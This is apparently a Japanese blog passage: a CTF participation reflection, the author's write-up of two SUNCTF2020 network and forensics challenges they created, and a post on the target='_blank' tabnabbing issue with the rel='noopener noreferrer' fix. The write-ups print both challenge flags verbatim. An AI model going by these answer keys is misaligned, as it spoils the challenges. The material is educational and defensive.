一言で言えば「最近全然CTFをやってなかった初心者がいきなり参加して撃沈した」という感じです。
これを機に常設のCTFや他のいろんなCTFにもっと参加しようと思いました。
あと、ほかの人のWriteUp等を見ると自分は思いつかなかった着眼点から問題を解いていたので良い勉強になりました(まさか処理に掛かる時間が答えに直結するとは思わなかったし(【Web】Spy)、まさかCyberChefだけで解ける問題があったとは...(【Recon】emoemoencode))。

参考 szarny.hatenablog.com qiita.com

f:id:camera510PC7:20200529235815p:plain

ちなみに自分が所属していたチームは418位でした。まぁ半分以上チームメートのとった点数ですが(今回はほとんどチームに貢献できなかった...)

SUNCTF2020 WriteUp

概要

2020年2月22日に長崎県庁で開催したSUNCTF2020のWriteUpです。今回は初めて運営側での参加でした。自分が作成した2問についてWriteUpを書きます。(他の問題のWriteUp公開についてはそれぞれの作者に一任します)

f:id:camera510PC7:20200307185730j:plain:w200

問題配布

下記のリンクにてネットワークとフォレンジックの問題を配布しています。

drive.google.com

PPAP (Network)

問題文

ちょっと、君たち!そこでPPAPしないでよ

添付ファイル

chat_history.pcapng

解法

chat_history.pcapngをWireshark開くと以下のようになります。 f:id:camera510PC7:20200307170534p:plain

4番目のパケットのデータをよく見ると16進数で構成されています。 f:id:camera510PC7:20200307171005p:plain

この文字列を16進数(hex)としてデコードしてみます。 f:id:camera510PC7:20200307171104p:plain

同じように9番目のパケットも16進数としてデコードします。 f:id:camera510PC7:20200307171203p:plain PKから始まる文字列が表示されたため、これはZipファイルだということが分かります。

9番目のパケットを選択した状態でファイル>パケットバイト列をエクスポート からZipファイルとして保存します。 f:id:camera510PC7:20200307171606p:plain f:id:camera510PC7:20200307171629p:plain

保存したZipファイルを展開しようとするとパスワードを求められます。 f:id:camera510PC7:20200307172134p:plain

14番目のパケットのデータを16進数としてデコードすると、パスワードが表示されます。 f:id:camera510PC7:20200307172315p:plain f:id:camera510PC7:20200307172335p:plain

このパスワードをZipの展開時に入力するとセミナー参加者名簿.csvというファイルが現れます。
f:id:camera510PC7:20200307172434p:plain
f:id:camera510PC7:20200307172437p:plain

セミナー参加者名簿.csvを開くとフラグが現れます。 f:id:camera510PC7:20200307172613p:plain

SUNCTF{PPAP_is_not_music_and_dance._It_is_bad_custom._People_have_to_find_new_way_to_send_files_on_the_network.}

Big brother's mischief (Forensic)

問題文

さっき少し目を離した隙にお兄ちゃんにわたしのPC勝手に使われちゃった。ブラウザの閲覧履歴も消されてるし、もしかしてネットで変な画像とか検索してないよね?

添付ファイル

evidence.zip

解法

evidence.zipを展開するとfirefoxというフォルダが出てきます。

firefox/cacheの中には拡張子のわからないファイルがたくさん入っています。 f:id:camera510PC7:20200307174704p:plain

ファイルの種類を調べるためにfileコマンドを使います。ただし今回の場合、ディレクトリにあるすべてのファイルの種類が知りたいため、バッククオートでlsを挿入します。

$ file `ls`

f:id:camera510PC7:20200307174821p:plain

問題文から画像が答えに関係あることが分かるので、grepを使って画像だけに絞り込みます。

$file `ls` | grep image

f:id:camera510PC7:20200307175019p:plain

Exifデータがある画像とない画像があることが分かります。Exifデータのある画像だけにgrepで絞り込みます。(わかりやすくするためにcat –nで番号を付けました)

$file `ls` | grep image | grep Exif | cat -n

f:id:camera510PC7:20200307180307p:plain

3番目の画像ファイルのExifを見ると、modelのところに怪しい文字列があります。 f:id:camera510PC7:20200307180741p:plain

model=U1VOQ1RGe1NvcnJ5Ll9CdXRfeW91X25lZWRfdG9fbG9ja195b3VyX1BDfQ==

文字列の並びや最後にイコールがあることからBase64であることが分かります。これをデコードするとフラグが出てきます。

f:id:camera510PC7:20200307181025p:plain

SUNCTF{Sorry._But_you_need_to_lock_your_PC}

余談

PPAPとは

PPAPの問題を作るにあたって以下の内容からインスピレーションを得ました。

参考:PPAPを何とかしたいがPHSも何とかしたい(PDF版)

Big brother's mischiefの問題文とフラグについて

問題文やフラグからわかりますがPCのロックを掛けていなかったみたいです。現実の世界ではロックを掛けていなかったことで以下のような事件がありました。

参考

www.asahi.com

piyolog.hatenadiary.jp

ということで

CTF当日に発表したスライド

当日の様子

当日はいろいろな方がいらっしゃっていました。

また、長崎県議会議員の下条様にもご紹介いただきました。 f:id:camera510PC7:20200307185512p:plain 引用
www.shimojo007.com

感想

今回初めてCTFの運営側としてこの数か月関わってきました。初心者向けCTFということでしたが、初めての試みだったので初心者のレベルがどれぐらいかが分からず、しかも自分は問題を作るのは初めてだったのでとても苦戦しました。
終わってみると自分の作った問題は難しかったという声が多かったです。ただ数名ほど解けていた人がいたので、難しいけど解けない問題ではなかったのかなといったところです。
この数か月いろいろトラブル等もありましたが、良い経験になりました。

target="_blank"の脆弱性について

概要

HTMLのaタグで新しいタブで開く際によくtarget="_blank"が利用されるが、これには脆弱性があるため対処が必要である。

脆弱性の詳細

Tabnabbing(タブナビング)という攻撃に利用されるものであり、遷移先ページから遷移元ページのタブが操作ができてしまうというものである。

securityblog.jp

対処方法

aタグ内にrel="noopener"を追記することで対処できる。

例としてexample.comにリンクする際のコードを示す。

<a href="example.com" target="_blank" rel="noopener">example.comへのリンク</a>

ただしnoopenerはIE等の一部ブラウザに対応していない。

f:id:camera510PC7:20200306194537p:plain

caniuse.com

そのためrelにnoreferrerという属性値を追記する。こうすることでIE等noopenerが対応していないブラウザに対しても脆弱性対策ができる。

<a href="example.com" target="_blank" rel="noopener noreferrer">example.comへのリンク</a>

注意点

noreferrerをつけるとリファラー(どのサイトからリンクされてきたかという情報)が消えるため、アクセス解析アフィリエイト等に影響が出る場合がある。
上記の例の場合、どのサイトからexample.comにアクセスしてきたかが分からなくなる。

また、この脆弱性はtarget="_blank"特有のものではなくtarget="_new"でも確認された。

まとめ

コード 内容
<a href="example.com" target="_blank">example.comへのリンク</a> 脆弱性あり
<a href="example.com" target="_blank" rel="noopener">example.comへのリンク</a> 一部ブラウザが非対応。やむを得ない場合以外は使用すべきではない
<a href="example.com" target="_blank" rel="noopener noreferrer">example.comへのリンク</a> 脆弱性対策されている

参考

developers.google.com

qiita.com